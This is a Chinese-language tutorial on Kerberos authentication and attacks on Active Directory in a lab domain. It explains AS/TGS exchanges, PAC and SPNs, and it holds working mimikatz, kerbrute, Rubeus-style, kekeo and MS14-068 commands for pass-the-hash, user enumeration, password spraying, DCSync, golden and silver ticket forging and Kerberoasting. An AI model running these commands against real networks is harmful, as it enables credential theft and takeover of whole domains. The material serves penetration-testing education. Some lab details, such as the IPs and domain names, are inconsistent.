目前环境有两台机器,
其一为Windows2008,IP为192.168.1.3 是域redream的成员。


| 主机 | 用户 | IP |
|---|---|---|
| 域控(2016) | Administrator | 192.169.1.2 |
| 域主机(2008) | user1 | 192.168.1.3 |
Kerberos 协议是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。 为了让阁下能够更轻松地理解后文对认证原理的讲解,你需要先了解以下几个关键角色:
| 角色 | 作用 |
|---|---|
| Domain Controller | 域控制器,简称DC,一台计算机,实现用户、计算机的统一管理。 |
| Key Distribution Center | 秘钥分发中心,简称KDC,默认安装在域控里,包括AS和TGS。 |
| Authentication Service | 身份验证服务,简称AS,用于KDC对Client认证。 |
| Ticket Grantng Service | 票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(临时秘钥)。 |
| Active Directory | 活动目录,简称AD,用于存储用户、用户组、域相关的信息。 |
| Client | 客户端,指用户。 |
| Server | 服务端,可能是某台计算机,也可能是某个服务。 |
(1)Client:访问服务的客户机 (2)Server:提供服务的服务器 (3)KDC(Key Distribution Center):密钥分发中心 (4)KDC中分成两个部分:Authentication Service和Ticket Granting Service Authentication Service(AS):身份验证服务 Ticket Granting Service(TGS):票据授予服务 AS和TGS如下: Authentication Service:AS的作用就是验证Client端的身份,验证通过之后,AS就会给TGT票据(Ticket Granting Ticket)给Client. Ticket-granting cookie(TGC):存放用户身份认证凭证的cookie,在浏览器和CAS Server间通讯时使用,是CAS Server用来明确用户身份的凭证。TGT封装了TGC值以及此Cookie值对应的用户信息. Ticket-granting ticket(TGT):TGT对象的ID就是TGC的值,在服务器端,通过TGC查询TGT. Ticket Granting Service(TGS):TGS的作用是通过AS发送给Client的TGT换取访问Server端的ST(Server Ticket)给Client. SEerver Ticket(ST):ST服务票据,由TGS服务发布. (5)Active Directory(AD):活动目录 (6)Domain Controller(DC):域控制器 (7)Ticket-granting cookie(TGC):存放用户身份认证凭证的cookie,在浏览器和CAS Server间通讯时使用,是CAS Server用来明确用户身份的凭证。TGT封装了TGC值以及此Cookie值对应的用户信息. (8)Ticket-granting ticket(TGT):TGT对象的ID就是TGC的值,在服务器端,通过TGC查询TGT. 打个比方:当 whoami 要和 bunny 进行通信的时候,whoami 就需要向 bunny 证明自己是whoami,直接的方式就是 whoami 用二人之间的秘密做秘钥加密明文文字生成密文,把密文和明文文字一块发送给 bunny,bunny 再用秘密解密得到明文,把明文和明文文字进行对比,若一致,则证明对方是 whoami。 但是网络中,密文和文字很有可能被窃取,并且只要时间足够,总能破解得到秘钥。所以不能使用这种长期有效的秘钥,要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供,即 KDC(Key Distribution Center)秘钥分发中心。 Kerberos认证的过程形象地比喻如下: 疫情期间,小明去拿一个重要包裹,由于包裹是来自海外的,所以需要严格登记: (1)拿包裹的时候,为了证明自己是合法公民,小明先把身份证给工作人员 (2)快递点的身份认证系统通过身份认证后,给小明一张身份认证通过证明 (3)小明拿着身份认证通过证明,来到快递收发处等一张拿快递的号码牌 (4)售票处给了张号码牌 (5)小明拿着号码牌拿快递去了 (6)在拿快递时,小明拿出自己的身份认证材料给快递点的工作人员,工作人员向快递公司的数据管理中心发了消息,问问小明是不是有包裹要拿 (7)数据管理中心将小明的快递单号,身份信息等发了过来 (8)工作人员将数据管理中心发来的信息与小明给的材料对比,得出小明是好公民,有一个重要包裹,于是带着小明来到仓库的金库,把装有老魔杖的包裹给了小明 在Kerboeros协议认证过程中,会用到两个基础认证模块,分别是ASREQ&ASREP和TGSREQ&TGSREP,以及在认证过程中可能会使用到的S4U和PAC这两个认证模块。
上面说了,因为kerberos协议的实现,需要三方的参与,分别如下: 1.client 访问服务的客户机 2.Server 提供服务的服务器 3.KDC(Key Distribution Center) 密钥分发中心 KDC服务会默认安装在一个域的域控中,所以可以直接理解为,AD与KDC均为域控制器,KDC服务框架中包含一个KRBTGT账户,它是在创建域时系统自动创建的一个账号。
Kerberos认证过程如下图所示

其中:KDC中有AS认证服务与TGS认证服务
注:(6)(7)两步不一定发生,需要将目标主机配置为验证KDC PAC验证。

分析AS-REQ的数据包 AS-REQ:当某个域用户试图访问域中的某个服务,于是输入用户名和密码,本机Kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含:请求用户名,客户端主机名,加密类型和Autherticator(用户NTLM Hash加密的时间戳)以及一些信息。 Client向KDC发起ASREQ请求凭据是用户hash加密的时间戳。请求凭据放在PADATA里面。 我们这里直接抓包来看,让域内机器user1使用用户test来登录。







通过上面的抓包分析可以得出: 1.HASH传递 2.域内用户枚举 3.密码喷洒
在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。
这里mimikatz获取hash导出到log日志中,命令如下
mimikatz log privilege::debug sekurlsa::ekeys


sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c


获取aes-key:
privilege::debug sekurlsa::ekeys


AS-REQ 的 cname 值,当用户不存在时,返回包提示错误,所以造成了改攻击方式。
使用kerbrute工具:
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrutewindowsamd64.exe
前提需要DC需要开启kerberos 88端口


使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码:
KDCERRPREAUTHREQUIRED-需要额外的预认证(启用)
KDCERRCLIENTREVOKED-客户端凭证已被吊销(禁用)
KDCERRCPRINCIPALUNKNOWN-在Kerberos数据库中找不到客户端(不存在)
在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在

并且当用户名存在,密码正确和错误时,返回包也不一样,所以可以进行用户名密码爆破。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率
使用以下命令
kerbrutewindowsamd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

密码同样存在三种错误代码
KDCERRPREAUTHREQUIRED-需要额外的预认证(启用)
KDCERRCLIENTREVOKED-客户端凭证已被吊销(禁用)
KDCERRCPRINCIPALUNKNOWN-在Kerberos数据库中找不到客户端(不存在)
同样在DC抓包,有4个UNKNOWN,1个REQUIRED


AS-REP:Client发送ASREQ,请求凭据是用户 hash加密的时间戳。请求凭据放在PADATA里面。 当KDC中的AS认证服务收到后,在AS服务器中有用户hash,使用用户hash进行解密,获得时间戳 ,如果 解密成功,并且时间戳在五分钟之内 ,那么 预认证通过 。接着AS认证服务将会向Client发送响应包,响应包中包括krbtgt用户的NTML hash加密后的TGT票据以及 用户NTML Hash加密的Login Session key和其他信息 。

在 AS-REP 阶段,由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的,因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个TGT认购权证,这就造成了黄金票据攻击 伪造黄金票据的条件: 我们伪造凭证,需要以下信息:
netconfig workstation


privilege::debug lsadump::dcsync /domain:redteam.com /all /csv
用管理权限使用mimikatz.exe导出用户的krbtgt的hash

lsadump::dcsync /domain:redteam.com /user:krbtgt 或者 wmic useraccount get name,sid



mimikatz.exe "kerberos::golden /user:Administrator /domain:redteam.com /sid:S-1-5-21-767623950-3225260823-3670188588 /krbtgt:fb2227f9e9e6c9ad490ebic2fa6a8625 /ticket:qqq.kirbi" exit /admin:伪造的用户名(任意) /domain:域名称 /sid:sid值,注意要去掉最后一个值 -后面的值 /krbtgt:krbtgt的hash值 /ticket:生成的票据名称
或者
kerberos::golden /user:administrator12 /domain:redteam.com /sid:S-1-5-21-767623950-3225260823-3670188588 /krbtgt:fb2227f9e9e6c9ad490eb1c2fa6a8625 /ptt #生成票据并导入

kerberos::purge kerberos::ptt ticket.kirbi

dir \dc.redteam.com\c$ dir \计算机名.域名\c$

Client与TGS之间认证使用TGSREQ&TGSREP模块 Client在拿到TGT和Login Session Key之后,下一步的认证交互在于 KDC中的TGS认证服务 ,主要目的是为了获取 ST服务票据 ,因为当Client需要访问某服务器中的某服务时,需要 "门票" --ST服务票据 这一阶段,微软引进了两个扩展S4U2SELF和S4U2PROXY。
该数据包中的主要内容为:客户端信息,Authenticator(Login Session Key加密的时间戳)、TGT认证权证(padata下ap-req下的ticket)以及访问的服务名等。





TGS-REP:当TGS收到请求后,将会检查自身是否存在客户端所请求的服务,如果服务存在, 通过krbtgt用户的NTML hash解密TGT并且得到Login Session Key ,通过 Login Session Key解密Authenticator 。


概念:就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。 攻击者通常会选择那些可能设置了弱密,码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据,他们有时不仅仅获取的只是服务访问权限,如果服务被配置为在高权限下运行,那么整个域都将可能被攻击者拿下。这些票据可以通过考虑多种因素来识别,例如: SPNs绑定到域用户账户 最后一次密码设置(Password last set) 密码过期时间 最后一次登录(Last logon) 具体来说,Kerberoast攻击涉及以下五个步骤: 服务主体名称(SPN)发现 请求服务票据 导出服务票据 破解服务票据 重写服务票据&RAM注入 原理:
流程:
前面没有了解到SPN,所以先了解一下SPN之后再回头来做实践。
概念:
SPN,全名为:Service Principal Names,即“服务主体名称”。它是域中服务的唯一标识,每个Kerberos服务都必须要有一个SPN,服务在加入域时,会自动注册一个SPN。 如果未进行 SPN 注册或注册失败(名称不唯一),则 Windows 安全层无法确定与 SPN 关联的帐户,因而无法使用 Kerberos 身份验证。
格式:
SPN的格式为:
一个SPN命名实例:MySQLSvc/os.hacker.com:3306 或 MySQLSvc/hacker等。 分类:
验证: 在 Kerberos 验证第 3 步中,client 向 TGS 发送 TGT 的同时,发送需要访问服务的 SPN;在第 4 步,TGS 会查询对应 SPN 的服务记录,找到服务后开始验证 TGT,最后 TGS 生成对应 SPN 服务的 ST 票据。
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测。
Win7和Windows Server2008自带的工具
查看当前域内的所有SPN:
setspn.exe -q /


前面提到过寻找有价值的SPN服务,那么什么是有价值的呢 可以远程连接,高权限 ,因为计算机域帐户不可以远程连接,所以我们目标一般都是域用户。 使用Rubeus工具 https://github.com/GhostPack/Rubeus 这是一个专门针对Kerberos的工具包。

使用微软提供的类KerberosRequestorSecurityToken发起Kerberos请求,申请指定SPN的ST票据。Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据
申请指定SPN的ST票据
需要提供域账户密码才能使用,该脚本会直接输出hashcat格式的服务票据,可以直接使用hashcat进行爆破
查看票据列表可用一些命令:
导出:
tgsrepcrack.py
kerberoast工具包中的tgsrepcrack.py,可直接对mimikatz导出.kirbi文件进行破解
python tgsrepcrack.py pass.txt xx.kirbi



ST票据使用服务密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。 python kerberoast.py -p Password123 -r PENTESTLAB001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB001.kirbi -w PENTESTLAB.kirbi -g 512 使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。 kerberos::ptt PENTESTLAB.kirbi
域渗透-SPN
在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST,所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用。
1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。 2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。 3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC 4.攻击者需要服务帐户密码哈希值 5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。 6.任何事件日志都在目标服务器上。
加密方式不同 金票:由krbtgt NTLM Hash 加密 银票:由服务账号 NTLM Hash 加密
我们伪造凭证,需要以下信息
只有KDC能制作和查看PAC。
服务名称 同时需要的服务 WMI HOST、RPCSS PowerShell Remoting HOST、HTTP WinRM HOST、HTTP Scheduled Tasks HOST Windows File Share CIFS LDAP LDAP Windows Remote Server RPCSS、LDAP、CIFS 除上述外目标机器不能开启PAC(特权属性证书)验证,PAC用于客户端和服务端交互阶段用于鉴权,带有签名,如果没有krbtgt的hash以及服务的hash就没办法伪造有效的签名。(MS14-068可绕过)

伪造CIFS权限,CIFS常用于主机之间的文件共享


一、漏洞说明
改漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。 微软官方解释: https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
二、漏洞原理
Kerberos认证原理:https://www.cnblogs.com/huamingao/p/7267423.html 服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。
三、漏洞利用前提
1.域控没有打MS14-068的补丁
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
四、工具下载
Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases
五、漏洞利用
如果当前用户为域用户
可以直接用 whoami /user 获取sid


MS14-068.exe -u @ -p -s -d
ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip


psexec.exe \WIN-2008-DC.ggyao.com cmd


(https://github.com/maaaaz/impacket-examples-windows)
此工具是impacket工具包里的,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷。
goldenPac.exe ggyao.com/zhangsan:Aatesttest@WIN-2008-DC.ggyao.com

(https://github.com/gentilkiwi/kekeo/releases)
通过kekeo.exe获取域控权限,此工具并非每次都能成功利用。
kekeo.exe “exploit::ms14068 /domain:ggyao.com /user:zhangsan /password:Aatesttest /ptt” “exit”

1.票据伪造的机器不一定需要在域里,将DNS指向域控,能解析就行。 2.IPC$访问域控的时候需要使用主机名,不能使用IP。
其实出现这个问题的关键点在于PAC(特权属性证书:验证用户所拥有的权限) 先大致回顾一下Kerberos的认证流程
其中,PAC是默认包含在TGT中的; 通常情况下,ASREQ 请求中如果include-pac被置为 true,只要 AS 服务通过了域用户的认证,则会在返回的 ASREP 数据包中的 TGT 中加入 PAC 信息; 而如果在 ASREQ 请求时,include-pac被置为 false,则 ASREP 返回的 TGT 中就不会包含 PAC 信息。 于是在ASREP返回的TGT中没有PAC信息后,域用户则可以伪造"恶意"的PAC放入TGSREQ中,KDC解密PAC后会再次加密到一个新的TGT中并返回给域用户,此时的TGT中已经携带了“恶意”PAC,也就达到漏洞利用的目的。